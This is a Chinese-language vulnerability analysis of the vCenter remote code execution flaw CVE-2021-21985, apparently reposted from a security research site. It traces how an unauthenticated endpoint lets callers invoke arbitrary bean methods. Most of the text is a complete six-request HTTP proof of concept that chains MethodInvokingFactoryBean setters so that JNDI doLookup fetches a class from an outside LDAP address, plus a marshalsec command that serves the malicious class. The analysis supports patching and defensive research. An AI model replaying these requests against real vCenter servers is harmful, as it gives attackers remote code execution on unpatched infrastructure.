该文章本人首发在360 cert官网:https://cert.360.cn/report/detail?id=931e631529a7025cdd60e60819e4a601

漏洞概述

VMware在5月25日发布了CVE-2021-21985vCenter远程代码执行漏洞通告及修复版本,该漏洞允许未经身份认证的用户调用任意Bean里的任意方法,当调用一个恶意方法时会导致任意代码执行。

漏洞分析

调用任意Bean里任意方法

漏洞触发点位于servicesProxygenController#invokeService

1

可以看到我们传入的beanIdOrClassName和methodName以及从请求包提取的body被当作参数传入invokeService方法

2

这里通过getBean获取到Bean,接着获取这个Bean里面的所有方法存入数组var8,var7保存数组var8的长度。接下来进入循环,遍历Bean里面每一个方法,当遍历到的方法为传入的methodName时,获取body里面键为methodInput的值作为方法的参数放入变量methodInput,最后调用invoke方法。这样也就成功通过反射调用了我们指定的Bean里面指定的方法。

寻找可利用的Bean

这里找到的是org.springframework.beans.factory.config.MethodInvokingFactoryBean,利用点位于它所继承的类MethodInvoker,可以看到一个关键的invoke方法。

3

这里找到一个invoke触发点,preparedMethod.invoke(targetObject, this.getArguments());

这里的preparedMethod是通过this.getPreparedMethod方法得到的,targetObject是通过this.getTargetObject方法得到的。invoke方法里面第二个参数也是通过getArguments方法得到的,如果这三个参数可控,那么就能实现任意代码执行。

因为servicesProxygenController#invokeService能调用任意Bean的任意方法,这里操作的Bean在内存中都是一个对象,所以我们可以通过多次方法调用来实现伪链式调用。所以我们可以通过调用上面几个getter方法对应的setter方法来控制这三个参数的值,先来看看这几个setter方法

setTargetObject

4

setStaticMethod

5

setTargetMethod

6

setArguments

7

接着调用prepare方法对数据进行一些处理

8

现在都已经赋值完成,最后执行invoke方法

9

伪链式调用

上面说的可以通过多次调用setter方法来赋值,为什么能这样操作呢?因为在内存中Bean是同一个对象,我们可以通过多次方法调用来实现伪链式调用。

POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject HTTP/1.1
Host: 192.168.117.6
Cookie: JSESSIONID=C00C1736DAD52868A5E75ECD64F46B77; JSESSIONID=34944EF5BA60EA4B522FDC147E53AB831ED5; JSESSIONID=9351324CD043384A74826CE111DF50F9; VSPHERE-UI-XSRF-TOKEN=803e68ad-4da5-4dd5-becc-b6e9cddb246a; VSPHERE-USERNAME=Administrator%40VSPHERE.LOCAL; _pk_id.1.2e3f=9ed93bcf9c56a5d4.1622600655.3.1622784462.1622784445..0cc4651fd211846f2bf4278bb96d1970c6dca3aec8b6d8aa810452836fa97c99; CastleSessionvsphere.local=_136000605d149affe8ca63dcba6860c7; VSPHERE-CLIENT-SESSION-INDEX=_738d0ebb3cda61081092815d9276ec3d
Content-Length: 42
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Origin: https://192.168.117.6
Content-Type: text/plain
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://192.168.117.6/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

{"methodInput":[null]}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setStaticMethod HTTP/1.1
Host: 192.168.117.6
Cookie: JSESSIONID=C00C1736DAD52868A5E75ECD64F46B77; JSESSIONID=34944EF5BA60EA4B522FDC147E53AB831ED5; JSESSIONID=9351324CD043384A74826CE111DF50F9; VSPHERE-UI-XSRF-TOKEN=803e68ad-4da5-4dd5-becc-b6e9cddb246a; VSPHERE-USERNAME=Administrator%40VSPHERE.LOCAL; _pk_id.1.2e3f=9ed93bcf9c56a5d4.1622600655.3.1622784462.1622784445..0cc4651fd211846f2bf4278bb96d1970c6dca3aec8b6d8aa810452836fa97c99; CastleSessionvsphere.local=_136000605d149affe8ca63dcba6860c7; VSPHERE-CLIENT-SESSION-INDEX=_738d0ebb3cda61081092815d9276ec3d
Content-Length: 42
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Origin: https://192.168.117.6
Content-Type: text/plain
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://192.168.117.6/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

{"methodInput":["javax.naming.InitialContext.doLookup"]}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetMethod HTTP/1.1
Host: 192.168.117.6
Cookie: JSESSIONID=C00C1736DAD52868A5E75ECD64F46B77; JSESSIONID=34944EF5BA60EA4B522FDC147E53AB831ED5; JSESSIONID=9351324CD043384A74826CE111DF50F9; VSPHERE-UI-XSRF-TOKEN=803e68ad-4da5-4dd5-becc-b6e9cddb246a; VSPHERE-USERNAME=Administrator%40VSPHERE.LOCAL; _pk_id.1.2e3f=9ed93bcf9c56a5d4.1622600655.3.1622784462.1622784445..0cc4651fd211846f2bf4278bb96d1970c6dca3aec8b6d8aa810452836fa97c99; CastleSessionvsphere.local=_136000605d149affe8ca63dcba6860c7; VSPHERE-CLIENT-SESSION-INDEX=_738d0ebb3cda61081092815d9276ec3d
Content-Length: 42
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Origin: https://192.168.117.6
Content-Type: text/plain
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://192.168.117.6/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

{"methodInput":["doLookup"]}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setArguments HTTP/1.1
Host: 192.168.117.6
Cookie: JSESSIONID=C00C1736DAD52868A5E75ECD64F46B77; JSESSIONID=34944EF5BA60EA4B522FDC147E53AB831ED5; JSESSIONID=9351324CD043384A74826CE111DF50F9; VSPHERE-UI-XSRF-TOKEN=803e68ad-4da5-4dd5-becc-b6e9cddb246a; VSPHERE-USERNAME=Administrator%40VSPHERE.LOCAL; _pk_id.1.2e3f=9ed93bcf9c56a5d4.1622600655.3.1622784462.1622784445..0cc4651fd211846f2bf4278bb96d1970c6dca3aec8b6d8aa810452836fa97c99; CastleSessionvsphere.local=_136000605d149affe8ca63dcba6860c7; VSPHERE-CLIENT-SESSION-INDEX=_738d0ebb3cda61081092815d9276ec3d
Content-Length: 42
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Origin: https://192.168.117.6
Content-Type: text/plain
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://192.168.117.6/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

{"methodInput":[["ldap://107.175.115.66:1099/Exploit"]]}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/prepare HTTP/1.1
Host: 192.168.117.6
Cookie: JSESSIONID=C00C1736DAD52868A5E75ECD64F46B77; JSESSIONID=34944EF5BA60EA4B522FDC147E53AB831ED5; JSESSIONID=9351324CD043384A74826CE111DF50F9; VSPHERE-UI-XSRF-TOKEN=803e68ad-4da5-4dd5-becc-b6e9cddb246a; VSPHERE-USERNAME=Administrator%40VSPHERE.LOCAL; _pk_id.1.2e3f=9ed93bcf9c56a5d4.1622600655.3.1622784462.1622784445..0cc4651fd211846f2bf4278bb96d1970c6dca3aec8b6d8aa810452836fa97c99; CastleSessionvsphere.local=_136000605d149affe8ca63dcba6860c7; VSPHERE-CLIENT-SESSION-INDEX=_738d0ebb3cda61081092815d9276ec3d
Content-Length: 42
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Origin: https://192.168.117.6
Content-Type: text/plain
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://192.168.117.6/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

{"methodInput":[]}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/invoke HTTP/1.1
Host: 192.168.117.6
Cookie: JSESSIONID=C00C1736DAD52868A5E75ECD64F46B77; JSESSIONID=34944EF5BA60EA4B522FDC147E53AB831ED5; JSESSIONID=9351324CD043384A74826CE111DF50F9; VSPHERE-UI-XSRF-TOKEN=803e68ad-4da5-4dd5-becc-b6e9cddb246a; VSPHERE-USERNAME=Administrator%40VSPHERE.LOCAL; _pk_id.1.2e3f=9ed93bcf9c56a5d4.1622600655.3.1622784462.1622784445..0cc4651fd211846f2bf4278bb96d1970c6dca3aec8b6d8aa810452836fa97c99; CastleSessionvsphere.local=_136000605d149affe8ca63dcba6860c7; VSPHERE-CLIENT-SESSION-INDEX=_738d0ebb3cda61081092815d9276ec3d
Content-Length: 42
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Origin: https://192.168.117.6
Content-Type: text/plain
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://192.168.117.6/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

{"methodInput":[]}

我们调用setter全是MethodInvokingFactoryBean类里面的,为什么beanIdOrClassName写的是&vsanProviderUtils_setVmodlHelper呢,这里就涉及到Bean的别名。

我们可以看到,这里设置了MethodInvokingFactoryBean为一个Bean,还设置了这个Bean的别名为vsanProviderUtils_setVmodlHelpe,所以通过这个别名也能查询到Bean。

10

漏洞利用

首先编写一个恶意类放入http服务并开启一个LDAP

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://ip/#Exploit" 1099

然后poc走一遍

11

Reference

Vcenter-Server-CVE-2021-21985-RCE-PAYLOAD

rapid7-analysis

VMSA-2021-0010